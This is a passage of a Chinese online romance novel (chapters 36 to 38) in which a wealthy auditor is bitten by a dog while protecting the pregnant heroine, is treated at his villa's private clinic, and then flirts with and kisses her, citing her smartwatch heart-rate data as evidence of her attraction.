姜绒颤抖着长长的睫毛,看到的是,那只情绪失控的吉娃娃,跳起身来,咔嚓一口,狠狠咬在陆沉渊手臂上的画面。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第36章 第三十六章 那就麻烦你了 “豆豆!stop!” 闻声迅速赶来的店员, 已经戴着防咬手套,将那只失控的吉娃娃,掰开牙关, 拎起后脖颈后,一把关进了狗笼子里。 眼泛泪光的姜绒, 赶忙扶住了身形高大,护住了她的陆沉渊,向他焦急的问道:“陆沉渊, 你没事吧!让我看看你的胳膊。” 陆沉渊并没有回答她的话, 但额上的汗珠以及苍白的脸色, 都提醒了姜绒, 他正处在极大的不适和疼痛之中。 “天啊!你流血了!”姜绒低头看去, 这才发现了他胳膊上, 已经有血迹渗透了高定西装的布料, 染红了一小片区域。 显然,刚才那只彻底失了控的吉娃娃,下嘴又狠又凶,使得他伤口的严重程度,远远超乎自己的想象。 “我们必须得马上送他去医院打疫苗, 缝合伤口!”站在一旁的姜曜,蹲下身来, 焦急的提醒姜绒道。 “我没事……你别急。”浑身几乎都在冒着冷汗的陆沉渊, 似乎是听到了他们的对话,看到了姜绒在为自己而担心。 陆沉渊从喉咙里挤出了这句话来, 艰难的举起另一只完好的胳膊,骨节修长的手指,轻轻抚上她的脸, 安慰她道。 姜绒眼眶却红的更厉害了,仰头看着他苍白的脸,内心的自责几乎将她吞没:“对不起,陆沉渊,是我的错,我不应该带你来狗咖的!” 然而,强撑着说完了话的陆沉渊,却兀然,眼睛一闭,高大的身影,径直倒向了她怀里,直接晕倒了过去,不省人事。 “陆沉渊!”姜绒惊呼出声,看向整张脸埋在她颈窝里,完全没有了任何反应的陆沉渊,彻底慌了阵脚。 姜曜知道,情况危急,不能再耽误了。 他蹲下身去,一把背起了陆沉渊就向狗咖门口走去。 “实在对不起,这位小姐!豆豆是接种过狂犬疫苗的!刚才应该是被手机闪光灯刺激到了,我们店里可以向你们赔偿的!” 店内的服务员赶忙上前帮忙搀扶,并向姜绒弯腰道歉道。 “你们安抚好那只小狗吧,别让它再伤人了!”姜绒顾不得和他们说什么,却也没忘记叮嘱他们,把那只小狗照顾好。 她知道,自己不能因为陆沉渊被咬这件事,而迁怒于狗。 毕竟,如果不是受到了人类给予的刺激,这只小狗也不会突然发狂咬人。 然而,忘记了将口罩戴上的姜曜,才背着陆沉渊,走到店门口,许多女生的目光,就已经惊喜的落在了他脸上,表情满是惊讶与狂喜: “那个不是姜曜吗?吸血鬼乐队的主唱!” “就是他!标志性的粉色长发!我的天啊!他好帅啊!” 姜曜知道,自己这情况,明天必定在娱乐新闻头版头条了,没好气的爆了句粗口:“我艹!” “连他骂人都好帅啊!太绝了!他身上背的是谁啊?这男人也好帅啊!” 此起彼伏的狂热感叹声,伴随着手机闪光灯的声音响起,越来越多人,开始向他们的方向聚集。 他们只得换了个方式,那就是直接在拐角甩了他们,走楼梯去地下停车场。 姜绒亦明白情况不妙,拿出手机,准备立即拨通杨西的电话,却正好接到了他的电话。 “姜小姐,陆总是不是出什么事了?我看到他的手表,向我发出了警报,我已经在带人赶来的路上了,还有两分钟就到了!”杨西语气焦急,向她问道。 姜绒赶忙回答他道:“对,你快过来吧!帮我引开那些粉丝!” 杨西赶来的实在太及时,这也令姜绒明白了,为何杨西能成为陆沉渊的助理,而他身边的人,做事有多么靠谱了。 一辆加长版黑色林肯车,很快开到了地下停车场里。 “陆总这是怎么了?”林西跑下车后,被吓了一跳,赶忙帮助姜曜将身形高大的陆沉渊,转移到了林肯车里。 姜绒让陆沉渊靠在自己身上,以尽量舒服的姿势坐好,这才应了杨西一句:“来不及解释了,一会儿跟你说,现在赶紧回云顶天阙,看医生吧!” 而姜曜一上车后,迅速脱下身上的衬衫外套和帽子,以及挎包里随身携带的一顶粉色假发,换给了林西带来的,与他身形差不多的安保。 让对方假扮他,开着陆沉渊那辆,极其拉风价值上亿的布加迪威龙,率先驶出了停车场去。 “姜曜!我们爱你!”“能给我们签个名吗?” 早已在停车场出口等候,举着手机和相机,把周围,围得水泄不通的粉丝们,向那辆车大声喊道,甚至追着那辆开的极缓慢的车跑去了。 而成功偷梁换柱的黑色林肯车上,载着他们三人,杨西平稳的启动了车辆,神不知鬼不觉的离开了停车场。 “陆沉渊,你好点了没?”姜绒一边替他按压着手臂上的伤口,一边担心的向他问,然而陆沉渊仍然紧闭着眼睛,没有任何反应。 姜曜看着这一幕,心情难以用语言来形容。 如果刚才在店里,因为陆沉渊冠冕堂皇的回答了他的每一个犀利提问,令他只是暂时放下了偏见与戒心后。 而刚才,他为了自己妹妹的安危,行动和反应,甚至比自己这个做哥哥的还要快,扑过去,奋力护住了姜绒。 那么这件事情,令姜曜,已经彻底对他改观了。 同为男人,他明白。对所爱之人,奋不顾身的保护欲,是根本没有办法演出来的,也做不了一点假。 “你们刚才的定位,是在狗咖里。姜小姐,您该不会是带陆总去了狗咖,然后他才出了意外吧?” 杨西已经猜到了事情大概,向姜绒问出了口。 姜绒眼眶犹红着,自责的点了点头:“对,隔壁桌的人,开手机闪光灯拍照,刺激到了一只小狗,那狗发了狂,想扑过来咬我,被他挡住了……” “天啊,怪不得陆总会晕倒,他非常怕狗!” 杨西也顾不上什么陆沉渊的隐私警告了,径直向姜绒透露了这个秘密。 非常怕狗?姜绒瞬间反应了过来,懊悔于自己的大意。 刚才从陆沉渊一走进门时的浑身不自在,她其实早就有所怀疑,并察觉不对,她却还是信了他说的,自己没事那句话。 一个极其怕狗的人,却为了她,而挡住了狗的扑咬。 姜绒眼眶红的更甚,心内既有愧疚和自责,也有对于陆沉渊的深深心疼。 “您有所不知,陆总所有的别墅,都是远离养狗区域的,甚至连进商场,去公园等,都会选禁止宠物狗出入的场合。”杨西接着向她说道。 姜绒呆住了,原来陆沉渊怕狗,竟然怕到了这个地步。 姜曜听到陆沉渊助理这番话,心内亦有些震撼,他望向姜绒说道: “看来,他是为了你,才愿意克服恐惧,来狗咖和我见面的。” 姜绒点了点头,却撅起嘴巴,气鼓鼓的向她哥大声埋怨了一句:“姜曜,都怪你这扫把星!就会挑这种奇葩地方见面,你的布布也领回去吧,我才不要给你养了呢!” “哎,别!我的好妹妹,天下第一无敌好,世界上最漂亮的妹妹!你就再给我养一个星期嘛!” “我答应你,一定给你带多伦多时装周,秀场上最新款的迪奥成衣回来!” 姜曜听了她这句话,立马变了脸色,双手合十,带着讪笑,央求自己妹妹道。 姜绒一脸怒气,没好气的回答他:“你一个大明星,有生活助理,有经纪人,又有女粉无数!我就不信,你找不着一个保姆,非得把那条智障,给我养!你知不知道,它还把陆沉渊的床都毁了!” “哎,你也知道,交给别人养,我不放心嘛。再说,我也没谈恋爱,行程又忙,公司管的严着呢。”姜曜朝她厚着脸皮,极其无奈的解释道。 姜绒望着自家哥哥那张欠揍的贱贱的脸,管他是不是大明星,在无数女粉眼里,被奉为颠倒众生,天神下凡的存在。 她现在恨不得,直接上手薅秃他那头粉毛。 “行了,我想到一个人,可以帮你养那条狗!”姜绒灵机一动,突然想到了其他办法。 “谁啊?”姜曜一脸疑惑的反问她。 姜绒向他吐出了两个字:“林晚!” 杨西以最快的速度,将车开回云顶天阙,被提前通知待命的医生们,已经一字排开在别墅门口,严阵以待了。 “医生,他是被狗咬到,手臂受伤,然后昏过去了,你们快给他治疗吧!”看着杨西将陆沉渊背下车,和医生们一起往地下一楼走去。 姜绒赶忙跟了上去,向主治医生说明情况。 到了楼下设施齐全,布置极佳的私人医院里,一抬头就能看到,人工置景里盛开的硕大粉色樱花树。 见过许多世面的姜曜,头一次来到这栋巨大的别墅,打量着周围的一切,觉得有些超乎自己想象: “可以啊,姜绒。你老公不会是为了你,把整个医院都搬回家里了吧?实在太壕了。” 姜绒没工夫理他,守在病房里,看着医生们用专业的剪刀和镊子,小心翼翼的剪开了,躺在床上的陆沉渊,胳膊上被血水浸湿了的西装布料。 陆沉渊肤色冷白的右手臂上,令人触目惊心的一圈深红色牙印咬痕,立即出现在了他们面前。 令姜绒瞳孔收紧了一下,不由自主,伸出纤长的手,握住了陆沉渊,温度微凉的另一只完好的左手宽大手掌。 他胳膊上被咬得挺深,伤口比她想象中还要严重。 医生们迅速有条不紊的给他伤口,进行了冲洗、消毒、缝合,完成了各种专业处理,并为他手臂上,一圈又一圈,慢慢缠上了纱布。 最后一步,则是为他接种狂犬疫苗了。 姜绒从小就怕打针,因此当看到长长的针头,被扎进陆沉渊肌肉线条极其明显的上臂三角肌时。 她不由自主也屏住了呼吸,握紧了陆沉渊手掌,与他十指相扣,只觉得疼在自己身上一般。 索性这个过程很快,几分钟就结束了。 “医生,他现在状态还好吗?为什么他会晕倒?”看着医生们,完成这一切后,有条不紊收拾用过的医用器具,姜绒向他们追问道。 主治医生温和的回答她道:“陆总他,现在没什么事了,各项生命体征平稳,再过一段时间就会苏醒过来了。” “至于他为什么会晕倒,我们的初步判断,是因为应激反应。” “一个怕狗的人,却突然遭到了狗的袭击,这已经超出了他所能承受的心理范围。” 听到这番话,姜绒若有所思:“所以。医生,他会晕倒其实是因为心理原因吗?” “对,每个人严重惧怕某种事物的背后,都有心理成因的存在。” “我们猜测,陆总应该是有关于狗的阴影,或者极其不好的回忆,所以才会令他接受无能。大脑为了保护他,直接让他昏迷过去了。” 主治医生,推了推鼻梁上的眼镜框,回答她道。 姜绒心里的好奇与疑惑更深了,陆沉渊怕狗的原因,到底是什么? “姜小姐,接下来这两周时间,还请您用心的贴身照顾一下陆总。” “他手臂要定期换药、换纱布,更不能拿东西、或是做事情,因为需要时间来自愈。”主治医生,接着向她叮嘱道。 姜绒赶忙点了点头:“好的!” 见医生们离开以后,姜曜一脸不好意思的走上了前来,望着坐在床畔的姜绒,向她递来一样东西: “咳,姜绒。这个就当我给陆沉渊赔礼道歉的东西,你帮我给他吧。” 姜绒接了过去,却在心里翻了个白眼,这人也太自恋了吧。 那赫然他签上了大名的个人明信片、以及vampire乐队的最新专辑。 “另外,等他醒来,你帮我给他带句话,我对你们俩结婚的事很满意,祝你们俩百年好合!” “反正以后,我也是他大舅哥了,咱们都是一家人了。”姜曜接着向她讪笑着说道。 姜绒朝他摆了摆手:“好了,我知道了!你快去赶飞机吧!布布的事,我会安排你和林晚交接,通视频的。” 她知道,姜曜在多伦多的全球巡演还没结束,这次还是百忙之中抽空来见她一面的,晚上还得赶飞机。 “行,你好好照顾好我妹夫,和肚子里的外甥啊!”姜曜这才转身离去。 这人真是,称呼改这么快,也太抽象了。 不愧是苏女士亲儿子,姜绒在心里吐槽了一句。 偌大的,布置得极其温馨的私人病房里,安静了下来,只剩下她和陆沉渊。 姜绒将目光,落在陆沉渊那张,取掉了眼镜,眉骨清晰,五官深邃,极度好看,少年感十足的脸上。 反倒是这种时候,换上了一身白色病号服,毫无防备,冷白脸上写满脆弱,反差感极大的他,让她觉得心动,忍不住捧着脸,看着他发呆,根本移不开目光。 原来,他也不是强大到没有任何缺点,只会用盔甲和那副毫无波澜的冰冷面具,来武装自己的陆沉渊。 他也是个有弱点的人。 “你要快点好起来。”姜绒朝他喃喃了一句,却觉得有些困倦,打了个哈欠,趴在床沿,迷迷糊糊的睡着了。 不知在混沌的意识里,沉睡了多久,陆沉渊睁开眼睛时,看到了天花板上,精心雕刻的欧式花纹,这才缓缓反应了过来,自己这是在哪里。 左手掌心传来一阵温暖触感,他转头看去,却看到了一头趴在自己身侧,海藻般柔顺的酒红色长发,蜜桃香气,包围着他,几乎令室内的空气,也染上了一丝甜。 低头看去,陆沉渊看到了一个,更让感到他惊喜的细节,姜绒白皙纤长的两只小手,都放在他宽大的左手掌心里,紧紧的握着他手指不放。 明明患有严重的hsdd,可她不仅没有回避于他的肢体接触,反而就这样主动握着他的手,在他身边睡着了。 陆沉渊在不惊动姜绒的前提下,小心翼翼的坐起了身来。右手立即传来了一阵尖锐的刺痛。 他低头,看到了手臂上,正缠着一圈白色纱布,显然,那里是受伤了。 他只记得,自己和姜绒去了狗咖,与姜曜见面的事,此后的一切,都是一片空白。 “你终于醒了!陆沉渊。” 姜绒却察觉到了他的微小动静,瞬间醒转了过来,抬起头来,一双睡意朦胧的鹿眼,在对上他视线后,立即笑了出来。 “你一直,在这里陪着我吗?” 陆沉渊的目光,却落在她唇边,笑容灿烂的两颗小虎牙上,以及白皙额头上,被床单印出来的一片红色印记,觉得她这副模样,可爱极了。 姜绒点了点头:“嗯,你醒来,我就放心了!” “眼睛怎么肿了?”陆沉渊却又注意到了,她眼睛微微肿着,还有些红,似乎是哭过。 姜绒白皙的小脸,瞬间绯红一片,向他惊讶的问出了口:“你……都不记得了?” “不记得,发生什么了?”陆沉渊向她摇了摇头,好看的脸上,表情一脸茫然。 姜绒脸上红的更加厉害,她想了起来,应当是陆沉渊大脑里的保护机制起了作用,帮他自动删除了这段可怕的记忆。 “你……总之,是你救了我,然后受伤了。”不忍心再令他回想起那一切,姜绒没有把话说的太明晰,特意避开了关键信息。 陆沉渊点了点头,掀开被子,下了床。 “哎,你要去哪里!我扶你去吧。你手臂受伤有点严重,这两个星期,你都不能沾水碰水,也不能亲自做任何事情!” 姜绒赶忙站起身来,走到他面前,扶住他高大的身影,仰头向他焦急的提醒道。 陆沉渊一双炙热的黑眸,却骤然锁住她,朝她张了张好看的唇,说出来一句,令姜绒白皙的小脸,瞬间涨红的话来: “那就麻烦你了,我要去上卫生间。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第37章 第三十七章 这里,也清洁一下? 去卫生间?他的意思是让自己陪他去吗?连麻烦你了, 这种话都已经说出来了。 姜绒涨红着脸,身上滚烫的厉害,还未反应过来。 陆沉渊长腿迈了一步, 黑眸看了她一眼,却似乎看出了她眼里的犹豫。 他脸色有些苍白, 兀然停下了脚步,好看的墨眉皱着,骨节修长的左手手指, 捂住了自己右手的手臂, 似乎是一不小心, 就拉扯到了伤口。 “你别乱自由行动了, 这只手可千万不能再受伤了, 我扶你去就是了!”姜绒赶忙冲了上去, 伸手扶住他胳膊说道。 她想到, 这几天还得带他见姜新鸣,而他还要带自己回去,见陆父、陆母。 他若是这副模样,不仅不能再处理集团和事务所里的事,且原因还是为了保护她, 见了这些长辈们,问起来, 可不得对她意见很多。 所以, 她这几天,务必得好好照顾陆沉渊, 让他快快好起来。 于是,姜绒红着脸,架着陆沉渊高大的身影, 往私人病房不远处的洗手间走去了。 说是她架着他,其实也不对。 毕竟,陆沉渊比她高了20厘米,孕期她不穿高跟鞋,只穿平底鞋的话,差距就更加明显了,对方手肘一伸,都能轻松把自己当成放手的小摆件了。 他们两人的体型差也是巨大,他明显自律至极,精于锻炼,身上的肌肉,不仅非常明显,黄金比例,而且线条优美,并不过度夸张。 因此,姜绒能够感觉出来,他只是把那条受伤的胳膊轻轻放在她纤瘦的肩膀上,借了一点点力,轻到她甚至感觉不出来,有多大的重量。 但这可就苦了她,毕竟是搀扶的动作,他们两人之间的距离实在太近了。 她甚至能透过陆沉渊身上薄薄的病号服,隐隐感觉出,他肌肉轮廓精实明显的腰腹,正紧紧贴在她瘦削的后背上,和她的身体之间,几乎没有任何缝隙。 令姜绒整个人,都被他身上那股特殊而好闻,会令她不自觉腿软的雪松、佛手柑、檀香的味道所包围。 而她耳根发烫,虽然她不抬头,就看不到陆沉渊的脸,但只要她一转眼,就能看到,陆沉渊垂在她小腹位置。 那只骨节极度修长好看,天生带着延伸弧度,冷白中指指尖,有一颗小小的痣,皮肤下隐隐透着青筋,如同上帝精心雕刻出来的,宽大右手。 好看到令她移不开眼睛,甚至有些走神,忍不住的想,那些过分好看的手指,在他们那一晚,荒唐的雪夜,是怎么样,一点点爬上她的皮肤,弹奏出钢琴曲来的。 姜绒红着脸,轻轻晃了晃,热成一团浆糊的脑袋,严重怀疑,自己是不是突然中了什么邪,怎么突然就变成手控了。 否则怎么会,对于陆沉渊的任何一个身体部位,都如此在意,并且浮想联翩呢? “到了。”陆沉渊低沉好听的声音,兀然在她耳边响起,提醒她道。 姜绒赶忙抬头看去,原来他们走的还挺快,很快就到了洗手间门口。 “那你自己进去吧,我就在门口等着你,有任何事情都可以叫我。”她红着脸,仰起头来,一双清澈鹿眼,望向陆沉渊那张轮廓深邃的脸说道。 听了她的话,他墨眉却再次拧紧了一下,多了苦恼:“可是我的右手动不了,怎么脱/裤子?” “我想小解。”对方一双好看的黑眸锁住她,不知是不是姜绒的错觉,她甚至听到了一丝可怜兮兮、撒娇意味的语气。 姜绒白皙的小脸涨得通红,瞪大了一双鹿眼,不敢相信他说出来的话:“啊!……那你的意思……该不会是想让我,帮你……脱/裤子吧?” 陆沉渊点了点头,脆弱感十足的脸上,写满了无辜,修长的左手,缓缓抚上自己右手臂上的白色纱布,因为吃疼,而轻轻倒吸了一口凉气。 似乎是在恰到好处的提醒她。 他到底是因为谁,而受伤严重,甚至还晕了过去,无法再自由行动的。 “好……好吧!我帮你就帮你!但我只能帮你这个,你还有左手是好的!”姜绒红着脸,豁出去了,不再推脱,向他说道。 于是,她扶着陆沉渊高大的身影,走进了洗手间。 对方站在便池前,却没有进行下一步行动,只是捧着自己受伤的胳膊,一双炙热的黑眸,好整以暇的看着她。 姜绒只得认命,谁让是她自己造的孽,得自己偿还呢。 于是,她闭上眼睛,长睫微颤,快刀斩乱麻,迅速动手,为对方褪下了白色的病号裤,然后又闪到了一旁,侧过身去。 她心跳犹有些慌乱,刚才焦急之中,她的手指,似乎不小心,划过了对方触感极佳的腹肌,以及深邃的人鱼线,但她根本管不着了。 但姜绒隐隐能察觉到一件事情,对方的体/发管理,似乎非常合格,不愧是有洁癖的人,比她想象中,还要洁净许多。 一道音色极其清亮,且音量之大超乎了她想象,并不小的水流声,很快就在她耳后响了起来,持续了很久。 姜绒涨红着白皙的小脸,莫名又想起了,在那个雪夜里,自己不是没有见识过,或者体验过,那个极度狰狞的存在。 她一度以为,以自己的身型,这样的恐怖之物,永无纳入的可能,但事实证明,虽然刚开始要吃不少苦头,但很快深入骨髓的甜头,会令她完全而彻底的记住。 “好了。”不一会儿,陆沉渊磁性的声音,在她耳后响起。 真是养尊处优的大少爷,他使唤起人来,不仅根本不害臊,甚至还淡定得很! 姜绒涨红着脸,在心里狠狠吐槽了他一句,随即又重重闭上眼睛,转过身去,凭感觉找到他,快刀斩乱麻,给他拉上了裤子。 “可以走了吧?”完成这个艰巨的任务以后,她缓缓睁开眼睛,抬头对上陆沉渊那双,眼尾微微上扬,锁住她不放的黑眸,红着耳根问道。 然而,对于她的“折磨”,还并没有结束。 “刚才昏睡得太久了,我现在有点头晕,想洗个脸,再刷个牙。”陆沉渊看向她,一双黑眸,兀然有些湿漉漉的,表情极度无辜。 姜绒呆住了,这人花招未免也太多了,那他不是很明显的摆出来了,这些事都得由自己,帮他完成了? “行。”短暂的沉默了几秒钟后,姜绒低下头,回答他道。 谁让他现在是病人呢?病人最大! 于是,姜绒撸起身上红色长袖长裙的精致荷叶袖,走到洗手池前,取下了佣人们,早已在各个房间,摆上的,质感极佳,奢侈品牌的羊绒毛巾,在温水里,细心的打湿,拧干了来。 陆沉渊显然早已做好了,让她给自己洗脸的准备,高大的身影,站在洗手池前,等待着他。 “你把身体放低点,把脸靠近我。” 姜绒抬起拿着温热毛巾的,白皙纤瘦的胳膊,踮起脚尖。欲去给他擦脸,却发现,因为巨大身高差的缘故,她做出这个动作,并不方便,也不简单。 更何况,她肚子里还怀了一个。 “我知道了。”陆沉渊却朝她扬了扬眉,沉声说道。 姜绒红着脸,还未明白他这句话是什么意思,下一秒,却差点惊叫出声。 陆沉渊微微俯了一下身,另一只完好的左手,就穿过她腋下,极其轻松的,单手将她公主抱起,放在了宽宽的洗手台上,坐了下来。 “喂,哪有你做事这么突然的。”姜绒红着脸朝他嗔斥了一句。 却因为坐在洗手台上,骤然离地,有了高度,而不敢乱动,也不敢松开圈住他修长脖颈的白皙手臂。 陆沉渊宽大右手牢牢扶住她腰肢,为她固定着平衡,维护着安全。 那双炙热的,隐隐泛着火光的好看黑眸,却锁住她,沉声说道:“这样最方便。” “好吧”姜绒红着脸点了点头,这倒也确实克服了身高差,省得她再仰脸、垫脚、高抬手臂了。 她松开了一只圈住陆沉渊脖颈的手,将温热的毛巾,缓缓的顺着他生得极好看的冷白额头、墨染般的深邃眉骨,开始轻轻擦洗了起来。 离得越近,越能看出来,他的骨相和皮相,有多么优越好看,不仅面部折叠度极高,而且皮肤好到,竟然连毛孔也找不到一个。 姜绒兀然觉得,高一时候,只注意到了对方鼻梁上厚厚的黑色眼镜框,却一次也没有看到他取下眼镜时,那张完整的脸的自己,实在有些暴殄天物。 真人长成这样,真的很厉害。 也怪不得,那群狗咖门口的高中学生妹,不管不顾,非要将陆沉渊当做某款乙女游戏里面,人气主角的委托老师了。 姜绒握着羊绒巾,顺着他高挺鼻梁,继续往下擦,一直停留到到,水珠落在他淡色的,有颗小痣的唇上时,她再次发起了呆。 她红着脸想,自己竟然真的,有两次,都厚着脸,主动吻上了这张唇吗?不仅品尝到了他的味道,甚至还觉得不够,有些上瘾。 简直荒谬,你可是患有hsdd的人啊!姜绒在心里怒斥自己。 然而,似乎是察觉到了她的目光,被自己的唇吸引,陆沉渊整张脸,却离她越来越近了。 碘酒药水的味道,伴随着雪松清香向她一同袭来,那张好看的唇,近到与她咫尺之间,甚至能够听到他的呼吸声。 他想干嘛?不会是想亲自己吧? 姜绒瞳孔放大,心跳加速,甚至忘记了将身体往后退缩,反倒猜测起了一些莫名其妙的东西来。 “你脸红的样子,真的很可爱。”陆沉渊眼尾上扬,好看的唇擦过她白皙耳垂,戏谑的声音在她耳畔响起,极其直白的夸赞了她一句。 姜绒脸上红的更加厉害了,原来他只是想调戏自己一句。莫非是看到自己紧张,并且期待被他亲吻的模样,他觉得非常好玩? “哼,你该刷牙了!”于是,她鼓起腮帮子,一把抓起了一旁水晶杯里的软毛牙刷,沾上牙膏后,举着手,一把塞进了陆沉渊嘴里。 陆沉渊却朝她扬了扬唇角,一双黑眸锁住她,有力的左手,握住她手腕,沉声提醒了她一句:“好好刷。” 于是姜绒只得兢兢业业,给他慢慢刷起了牙来。 然而,被站着的陆沉渊,单手圈在怀里,给他刷牙这件事,也实在有些过于暧昧了。 他的牙齿长得非常整齐好看,且颜色非常白。 姜绒红着脸,轻轻晃动着手臂,动作极其小心,生怕弄疼他,但不知不觉中。这种小心又慢慢的演变成了一种缓慢的、带有探索意味的抚触。 蜜桃味道的牙膏香味,很快在她们之间弥漫了开来,气氛有些变了味。 手里的牙刷在陆沉渊口腔内壁和牙齿上轻轻移动时,细微的水声和摩擦声,在这安静的,只有她们两人存在的空间里,被无限放大,成为了唯一的声音。 一些白色的牙膏泡沫溢了出来,顺着陆沉渊好看的唇角,滑了下来,一直顺着白色病号服的衣领,往他线条明显的胸肌和腹肌上滑去了,她根本不敢多看一眼。 而不知是有意还是无意,陆沉渊轻轻舔了舔唇角,这个动作在姜绒眼里看来,和狐狸精根本没有什么区别。 姜绒脸上红了一下,兀然伸出手指,动作自然,用托着他下巴的拇指指腹,轻轻揩去了他唇角的泡沫。 她能清晰感觉到他线条利落的下巴上,被他刮得很干净的胡茬粒的略微刺手感。 陆沉渊形状明显的喉结,却因为她这个举动,而不受控制的上下滚动了一下。 一双充满侵略性的黑眸,自始至终,牢牢锁住坐在自己面前,酒红色长发,一身红色长裙,白皙小脸绯红,更添妩媚的姜绒,未曾移开过一秒。 终于完成了自己的艰巨任务,姜绒有些如释重负,放下手里的牙刷,红着脸抬头望向陆沉渊说道:“刷好了,你漱下口吧。” 陆沉渊却抬起了那只沾了水珠,没有受伤的左手手臂,骨节修长的温热指腹,轻轻碾过她形状好看的粉色唇瓣。 那双深不见底的炙热黑眸,锁住她,声音低沉而喑哑,兀然说出了一句,令姜绒差点腿软的话来: “这里,也清洁一下?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第38章 第三十八章 你的身体告诉我,你很喜欢…… “清洁?”他这话到底是什么意思啊? 姜绒白皙的小脸绯红, 茫然望向,陆沉渊那双缱绻迷人,上扬眼尾越发显得魅惑的黑眸。 然而, 不等她反应过来。 陆沉渊完好的左手,骨节修长的手指, 径直抬起了她小巧的下巴,俯身吻上了她的唇。 “唔……”姜绒后脑勺贴在身后的浴室镜上,瞪大了一双鹿眼, 几乎忘记了呼吸, 唇齿间的任何一个音节和话语, 哪怕感叹词, 都被他夺走, 并吞噬了。 蜜桃味牙膏的清凉味道和略微刺激感, 夹杂着陆沉渊身上浓浓的雪松的清香, 混合着浴室的水汽一同席卷而来。 贴的太紧了,她身上湿透的长裙紧贴着陆沉渊薄薄的病号服,心跳却很快,又快又热。 他吻的极深、极热烈,不是在任何场合之下需要伪装搪塞的吻, 也不是在非清醒状态下,有酒精助兴的吻。 而是, 在他们都如此清醒的情况之下, 陆沉渊头一次,吻了她。 整个世界都有些湿漉漉的, 令她如同一个溺水的人,而陆沉渊就如同潜伏在深海中,逐渐浮出水面, 将她捕获的塞壬。 她甚至开始相信,对方若是长出了布满湿滑鳞片的尾巴,此刻一定会将她紧贴他腰腹,缠得她透不过气来。 姜绒越来越发现,自己实在太天真,对于陆沉渊的一切认识都极为片面。 比如,在此刻,眼尾发红,将她压在身后镜子上,狠狠亲吻的人,就根本不是所谓没有感情的电脑人。 不知吻了多久,直到陆沉渊肯停下来,姜绒已然眼神迷离,全凭他一只宽大手掌,握住她侧腰,将她固定在怀里,才得以支撑下来。 “清洁完毕了。”陆沉渊低沉的声音,带着餍足的沙哑,在她耳畔响起,骨节修长的手指,轻轻碾上她才被蹂躏了一番,颜色红了许多,微肿的可怜唇瓣。 姜绒红着脸,白皙纤长的手指攒成了拳头,在他肌肉线条明显的宽大胸膛,重重锤了几下:“无耻!” “难道你不喜欢吗?你的身体告诉我,你很喜欢。”陆沉渊那双黑眸,却牢牢锁住她。 就如同在说什么公式定理,或者有充分论据支撑的事实一般,好整以暇的看着她,认真说道。 姜绒自然不愿意承认,绯红着脸,低着头反呛他:“谁说的,你有什么证据?” 她这个问题,却似乎彻底问到了,属于陆沉渊的领域里去了。 他修长手指,径直握住她白皙手腕,指尖在她那块特殊私人定制的劳力士手表上点了几下,两条记录了数据的曲线,立即出现在了姜绒面前。 “五分钟之前,你的静息心率是65,但在我吻你的过程中,你的心率达到了118,并且持续高于基准线,超过了3分钟。” “所以,这种幅度的波动,并不符合无感的生理特征。”陆沉渊语气里充满了考究的严谨,一字一顿的告诉她。 姜绒脸色绯红,目光落在那块璀璨的满钻手表上。 竟然还能这样操作!这块手表上的功能有那么多? 果然,不怕流氓不读书,就怕流氓有文化! 但问题来了,姜绒突然想到一个问题,既然这块手表能够把她的实时定位与行踪,都直接发送给陆沉渊的话。 那这些关于她心率的数据,岂不是也会每天实时发到他手上?这不相当于,她在哪里,以及做了些什么,都赤/裸裸的被他知道了? 陆沉渊却似乎并不打算,停止他这一套证据极多的推理,他炙热黑眸,锁在她唇上,接着沉声说道: “你的呼吸节奏,在最初0.5秒的惊讶屏息后,转变成了急促、短暂的浅呼吸,频率是开始的至少2倍。” “这是典型的……” “典型的什么?”姜绒耳根发烫,纤长手指攥紧他衣襟,干脆打破砂锅问到底。 陆沉渊声音,故意停顿了两秒,然后将剩下的四个字,喑哑吐落在了,她泛红的白皙耳畔:“典型的……沉浸状态。” 姜绒脸色绯红,浑身都止不住颤抖了一下,坐在洗手台上,垂着的长腿,更加软得厉害。 谁让她惹上了一个干审计的,而且还是肚子里孩子的爹呢?自己终究是小瞧了,他自高中时,便碾压所有人的超群智商,以及观察能力。 陆沉渊慢条斯理的贴近,再也说不出,一句反驳的话语来的姜绒,整张深邃好看,眉眼清晰的脸,凑近她,一字一顿,将结论告诉了她: “综上所述,姜绒,你对我的吻,不仅有感觉,而且感觉相当热烈。” 姜绒心跳加速,将白皙的小脸,缩得像鸵鸟和乌龟一般,根本不敢对上那双极度有神而锐利的黑眸,朝他破罐子破摔,胡乱应了一句: “你……你说什么就是什么吧。” 下一秒,早已看出来了,她长腿无力的陆沉渊,有力的左手胳膊,单手穿过了她膝窝,轻松将她整个人,从洗手台上,一把公主抱起,向门外走去了。 再次和他回到不像病房,反而像是一间温馨客房的私人病房里时,姜绒坐在床沿的沙发上,已经打定了主意,她得好好陪护他。 “你上电梯,回自己房间去睡就可以了,你现在是孕妇,注意休息,对你来说,更加重要。”陆沉渊的目光,却落在她身上,朝她温声劝说道。 姜绒却朝他倔强的摇了摇头:“不行,我自己造的孽,就得自己偿还。要不是我带你去狗咖,你也不会晕倒……” “那你不要睡沙发,那里硬,到床上来。”陆沉渊听了她这句话,却掀开了身上的被子,一双黑眸锁住她,如是说道。 姜绒愣了一下,哪有家属和病患挤一张床睡的。 但她又不得不承认,这本就是陆沉渊,在别墅里弄得私人医院和病房,那张病床不仅很大,睡两个人绰绰有余,而且那张价值百万的,瑞典海丝腾,马尾毛顶级床垫,看起来也非常舒服。 “好吧。”于是她站起身来,挪动脚步,走到了他病床左侧,背对着他,躺在了他身旁的位置。 陆沉渊温热的身体,却很快贴了上来,唯一完好的。那只宽大的左手手掌,艰难的自她身后,将她搂进了怀里,简直像是某种,患上了皮肤饥渴症的大型犬科动物。 而姜绒发现,自己似乎,越来越习惯他的拥抱。 “陆沉渊,你为什么怕狗呀?可以告诉我,是什么原因吗?”姜绒却兀然想起,那个自己绞尽脑汁也想不明白,且非常好奇的问题来。 虽然,拿不准陆沉渊会不会对自己回答,这个隐私性极强,涉及到他心理阴影的问题。 但姜绒,还是想试一试。谁让她对他,充满好奇呢。 